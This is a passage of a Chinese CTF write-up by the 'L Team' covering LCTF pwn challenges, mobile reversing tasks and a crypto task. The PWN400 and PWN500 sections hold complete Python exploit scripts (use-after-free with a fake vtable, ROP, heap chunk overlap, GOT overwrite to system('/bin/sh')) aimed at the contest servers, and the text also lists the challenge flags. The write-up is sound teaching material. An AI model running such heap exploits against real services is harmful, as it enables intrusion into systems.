    return func_address

result = lookup('getshell')
print '[+] function @ 0x%x' % result
getshell(result)

io.itr()

PWN400

Bugs

  1. 在delete时没有对对象指针置零
  2. 加密后输入加密结果时存在泄漏,可泄漏出堆地址

Thinking

由于在delete后没有对对象指针置零,可导致一个uaf,通过uaf伪造一个对象的虚表指针和虚表,从而执行任意地址代码。另外,由于对象在调用虚函数时会传入一个参数,这个参数是对象本身的地址,因此第一个参数不能直接被我们控制,需要通过一段ROP来设置调用时的参数

大致的利用方式就是先通过UAF调用printf来泄露libc基地址,然后再通过system来getshell

通过一个

Exploit

from zio import *
target = ('119.28.62.216', 10023)
io  = zio((target), print_read = COLORED(REPR, 'red'), print_write = COLORED(REPR, 'blue'), timeout = 10000)

io.hint([0x401fba, 0x401fe3, 0x400d40])

# adr
plt_printf  = 0x0000000000400be0
p8_ret      = 0x00402336
pop_rdi_ret = 0x00402343
entry       = 0x400d40

# new key

def leak():
    io.wls([1, 1, 11, 13])
    # io.wls([2, 0x40, (('AAAAAAAA' +'%{}$lx\x00'.format(0x8b)).ljust(0x18, 'a') + l64(p8_ret)).ljust(0x40, 'a')])
    io.wls([2, 0x40, (('AAAAAAAA' +'0x%{}$lx\x00'.format(71)).ljust(0x18, 'a') + l64(p8_ret)).ljust(0x40, 'a')])

    io.rtl('ciphertext: ')
    io.r(0x40 * 8)
    heap_base = l64(io.rl()[:-1].ljust(0x8, '\x00')) - 0x270
    print '[+] heap base: 0x%x' % heap_base

    # free
    io.wls([3, 0x10, '41' * 0x10])

    # malloc
    io.wls([4, l64(heap_base + 0x20)])

    # rop chain in stack (uaf)
    io.wls([2, 0x20, (l64(pop_rdi_ret) + l64(heap_base + 0x20) + l64(plt_printf) + l64(entry)).ljust(0x20, 'A')])

    for i in xrange(4): io.rtl('0x')
    adr_libc_start_main_ret = int(io.rtl('R')[:-1], 16)
    off_libc_start_main_ret = 0x21ec5
    libc_base   = adr_libc_start_main_ret - off_libc_start_main_ret
    off_system  = 0x00000000000468f0
    adr_system  = libc_base + off_system
    print '[+] libc base : 0x%x' % libc_base
    print '[+] system : 0x%x' % adr_system
    return adr_system

def exp(adr_system):
    # io.wls([2, 0x40, (('AAAAAAAA' +'%{}$lx\x00'.format(0x8b)).ljust(0x18, 'a') + l64(p8_ret)).ljust(0x40, 'a')])
    io.wls([1, 1, 11, 13])
    io.wls([2, 0x40, (('AAAAAAAA' +'/bin/sh\x00').ljust(0x18, 'a') + l64(p8_ret)).ljust(0x40, 'a')])

    io.rtl('ciphertext: ')
    io.r(0x40 * 8)
    heap_base = l64(io.rl()[:-1].ljust(0x8, '\x00')) - 0x270 + 0x450
    print '[+] heap base: 0x%x' % heap_base

    io.wls([3, 0x10, '41' * 0x10])

    for i in xrange(0x4): io.wls([4, l64(heap_base + 0x20)])

    # rop chain in stack
    io.wls([2, 0x20, (l64(pop_rdi_ret) + l64(heap_base + 0x20) + l64(adr_system) + l64(entry)).ljust(0x20, 'A')])

exp(leak())
io.itr()

PWN500

Bugs

  1. 在读取字符串时存在一个null的溢出,在读取package的内容时可溢出到下一个堆块
  2. 一些编程的逻辑漏洞,在save package时没有对package_head置零

Thinking

  • 程序开始时会malloc(0x20)用来存储sender,receiver,package链表的头结点地址
  • malloc(0x98)存储sender的内容
  • malloc(0xb8)存储receiver的内容
  • malloc(len+0x18)存储package内容

我采用的利用技巧是shrink free chunks,这个方法在这篇文章中有介绍,最终的目标就是构造出overlapping chunks,这样,通过修改package的内容,来达到修改receiver的链表next和prev指针的目的

之后就可以达到泄露heap和libc的目的,最后覆盖got表来get shell

PoC of "shrinking free chunks"

char *a, *b, *c, *d, *e, *f;
a = malloc(0x208);
b = malloc(0x208);
c = malloc(0x208);

free(b);

a[0x208] = 0x0;

d = malloc(0x80);
e = malloc(0x80);

free(d);
free(c);

f = malloc(0x208); // f and e are overlapping chunks

Exploit

from zio import *
io = zio(('119.28.62.216', 10024), print_read = COLORED(RAW, 'red'), print_write = COLORED(RAW, 'blue'), timeout = 100000)
io.hint([0x400e16])

adr_control = 0x6030b8

io.wl_af('?', 'y')
io.wls_af(':', [1, '/bin/sh', 'BBBB'])
io.wl_af(':', 2)

io.wls_af(':', [1, 'AAAA', 'BBBB', 'CCCC', 'DDDD'])
io.wls_af(':', [2, 0x1f0, 'aaaa'])
io.wls_af(':', [2, 0x1f0, 'aaaa'])
io.wls_af(':', [2, 0x1f0, 'dddd'])
io.wls_af(':', [3, 2])
io.wls_af(':', [3, 1])
io.wls_af(':', [2, 0x1f0, 'b' * 0x1f0])     # shrink free chunk
io.wl_af(':', 5)

io.wl_af(':', 2)
io.wls_af(':', [1, 'AAAA', 'BBBB', 'CCCC', 'DDDD'])
io.wl_af(':', 5)

io.wl_af(':', 2)
io.wls_af(':', [1, 'AAAA', 'BBBB', 'CCCC', 'DDDD'])
io.wl_af(':', 5)

# overlap
io.wls_af(':', [4, 2])
io.wls_af(':', [4, 1])
io.wl_af(':', 2)
io.wls_af(':', [1, 'AAAA', 'AAAA', 'AAAA', 'AAAA'])
io.wls_af(':', [3, 1])
io.wls_af(':', [2, 0x1f0, 'b' * 0x98 + l64(0x0) + l64(0x81) + l64(adr_control - 0x20)])
io.wl_af(':', 5)

io.wl_af(':', 5)
io.rtl('======receiver[2]=======')
io.rtl('postcodes:')
heap_base = l64(io.rl()[0:-1].ljust(0x8, '\x00')) - 0x10
print '[+] heap base\t:0x%x' % heap_base

io.wl_af(':', 2)
io.wls_af(':', [1, 'AAAA', 'AAAA', 'AAAA', 'AAAA'])
io.wls_af(':', [3, 0])
io.wls_af(':', [2, 0x1f0, 'd' * 0x98 + l64(0x0) + l64(0x81) + l64(0x603000 - 0x18)])
io.wl_af(':', 5)

io.wl_af(':', 5)
io.rtl('======receiver[3]=======')
io.rtl('contact:')
adr_free    = l64(io.r(6).ljust(0x8, '\x00'))
off_free    = 0x0000000000083c30
off_read    = 0x00000000000ec690
off_puts    = 0x0000000000070c70
off_malloc  = 0x0000000000083590
libc_base   = adr_free - off_free
off_system  = 0x00000000000468f0
adr_system  = off_system + libc_base
adr_puts    = off_puts + libc_base
adr_read    = off_read + libc_base
adr_malloc  = off_malloc + libc_base

print '[+] free address\t:0x%x' % adr_free
print '[+] system address\t:0x%x' % adr_system

io.wl_af(':', 2)
io.wls_af(':', [1, 'AAAA', 'AAAA', 'AAAA', 'AAAA'])
io.wls_af(':', [3, 0])
io.wls_af(':', [2, 0x1f0, 'd' * 0x98 + l64(0x0) + l64(0x81) + l64(heap_base)])
io.wl_af(':', 5)

io.wls_af(':', [3, 4]),
io.w(l64(0x603008) + l64(heap_base + 0x40)[0:7] + '\n' + 'B' * 0x8 + 'C' * 0x38)

io.wls_af(':', [3, 0])
io.w(l64(adr_system)[0:7] + '\n' + l64(adr_puts)[0:7] + '\n' + l64(adr_read)[0:7] + '\n' + l64(adr_malloc) + 'D' * 0x20 + l64(adr_system)[0:7] + '\n')
io.wl('sh')
io.wl('6')

io.itr()

Misc

moblie 100

这一题的确是个福利题...并没有涉及到dex函数隐藏等小技巧,只是简单的使用proguard进行了混淆。可以静态也可动态(动态先改掉debug检测,还不如直接静态看一下),那么,关键部分源码:

private void getKey(){
    try {
        InputStream stream = this.getResources().getAssets().open("url.png");
        int v = stream.available();
        byte[] bs = new byte[v];
        stream.read(bs, 0, v);
        byte[] keybyte = new byte[16];
        System.arraycopy(bs, 144, keybyte, 0, 16);
        this.key = new String(keybyte, "utf-8");
    }
    catch (Exception e){
        e.printStackTrace();
    }
    //code
}
private String handle(String naive){
    try {
        naive.getBytes("utf-8");
        StringBuilder str = new StringBuilder();
        for (int i = 0; i < naive.length(); i += 2) {
            str.append(naive.charAt(i + 1));
            str.append(naive.charAt(i));
        }
        return str.toString();

    }catch (UnsupportedEncodingException e){
        e.printStackTrace();
    }
    return null;
}        
protected void Encryption(byte[] key){
    try {
        if (key == null) {
            byte[] bytes = "".getBytes("utf-8");
            MessageDigest messageDigest = MessageDigest.getInstance("MD5");
            byte[] bytes1 = messageDigest.digest(bytes);

            secretKeySpec = new SecretKeySpec(bytes1, "AES");
            cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
        }
        else {
            secretKeySpec = new SecretKeySpec(key, "AES");
            cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
        }
    }except{
        //...
    }
}

从url.png中获得key,然后使用handle函数进行处理(奇偶位互换)作为最终AES加密的key。flag密文:

byte[] bye = {21,-93,-68,-94,86,117,-19,-68,-92,33,50,118,16,13,1,-15,-13,3,4,103,-18,81,30,68,54,-93,44,-23,93,98,5,59};
new String(bye);

使用AES/ECB/PKCS5Padding,用key对选手输入进行加密,结果与flag密文进行比对;故解密时只需

init(Cipher.DECRYPT_MODE, secretKeySpec); 

对flag密文进行解密即可。

flag:LCTF{1t's_rea1ly_an_ea3y_ap4}

moblie 200

首先还是直接放出NDK部分源码...

std::string secret = "dHR0dGlldmFodG5vZGllc3VhY2VibGxlaHNhdG5hd2k.";
static const std::string chars =
        "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
                "abcdefghijklmnopqrstuvwxyz"
                "0123456789+/";

static inline bool is_base(unsigned char c) {
    return (isalnum(c) || (c == '+') || (c == '/'));
}

std::string encrypt(char const* bytes_to_encode, unsigned int in_len) {
    std::string ret;
    int i = 0;
    int j = 0;
    unsigned char char_array_3[3];
    unsigned char char_array_4[4];

    while (in_len--) {
        char_array_3[i++] = *(bytes_to_encode++);
        if (i == 3) {
            char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
            char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
            char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
            char_array_4[3] = char_array_3[2] & 0x3f;

            for(i = 0; (i <4) ; i++)
                ret += chars[char_array_4[i]];
            i = 0;
        }
    }

    if (i)
    {
        for(j = i; j < 3; j++)
            char_array_3[j] = '\0';

        char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
        char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
        char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
        char_array_4[3] = char_array_3[2] & 0x3f;

        for (j = 0; (j < i + 1); j++)
            ret += chars[char_array_4[j]];

        while((i++ < 3))
            ret += '.';

    }

    return ret;

}
static const char *handlePasswd(char* yourinput){
    char* input;
    std::string output = "";

    input = yourinput;
    if (NULL == input) {
        return NULL;
    }
    int low = 0;
    size_t hight = strlen(input) - 1;
    while (low < hight) {
        char tmp = input[low];
        input[low] = input[hight];
        input[hight] = tmp;
        ++low;
        --hight;
    }
    output.append(input);
    return encrypt(output.c_str(), (unsigned int) output.length()).c_str();

}

extern "C"
jboolean
Java_com_example_ring_wantashell_Check_checkPasswd(JNIEnv* env, jobject jobject1, jstring input){
    const char* pass;
    jboolean iscopy;
    const char* password;
    pass = env->GetStringUTFChars(input, false);
    if (pass == NULL ){
        return (jboolean)false;
    }
    char* pas = new char[33];
    strcpy(pas, pass);
    password = handlePasswd(pas);
    env->ReleaseStringUTFChars(input, pass);
    return (jboolean) (password == secret);
}

本题主要是静态反汇编分析能力。EditText获取选手输入后,将其substring(5, 37)得到flag,亦为即将传入native方法的值,虽然没有检测其前5及后边的字符值,但对输入长度做了限定;native checkPasswd(String input)方法则分为两部分,一是对input做简单处理,即倒序;二则是一个base64编码,只是我把'='用'.'来替换了;input编码后直接与密文secret进行比对,所以程序内部并没有解密方法。

Jni_OnLoad函数内部则是简单的ptrace反调试和反模拟器的一些函数以及一个对dex的SMC,即将内存中的form函数的字节码用f0rm函数的来替换(其余两个是我后来觉得只有formf0rm的话太过直接,于是添加进去的无用函数)。这种对dex字节码的SMC是一种Android低版本的方法(version < 5),所以高系统版本手机上会crash掉...但由于只使用了AVD的模拟器及一款三星Android 4.4.4手机做测试,没有对其他机型做适配,所以有选手反应说在nexus5 4.4.3上也出了问题...虽然尽量使用了能够静态分析出的SMC方案,但仍在此表示诚挚的歉意...(请务必不要寄刀片...)

分析出encrypt是base64的话就很简单,只需将secret的'.'换为'=',然后base64.b64decode(secret)即可得到倒序的flag,为:iwantashellbecauseidonthaveitttt

crypt 200

  • 写在前面……

    这道题本计划让参赛选手自己写脚本爆破的,然而ZZ出题人不小心把密文给的长了……于是几乎所有队伍都是在线解出来的……几乎成了签到题……出题人表示很悲伤……

  • 出题人计划中的解题思路:

    首先通过自己写脚本/在线工具,查出密钥很可能为两段,分别是 7、13 。然后开始爆破短密码,每爆破一位检查一次是否正确。这里有一个小点:对7位密钥爆破时,只需把第一位预设为'a',爆破后六位就可以。用python多线程实现,大概需要3-4小时即可得出结果,C语言会更快。

    怨念の出题人:只取密文中的前91个字母,你给我在线解啊在线解啊(〒︿〒)

tagged by none  

Comment Closed.

© 2014 ::L Team::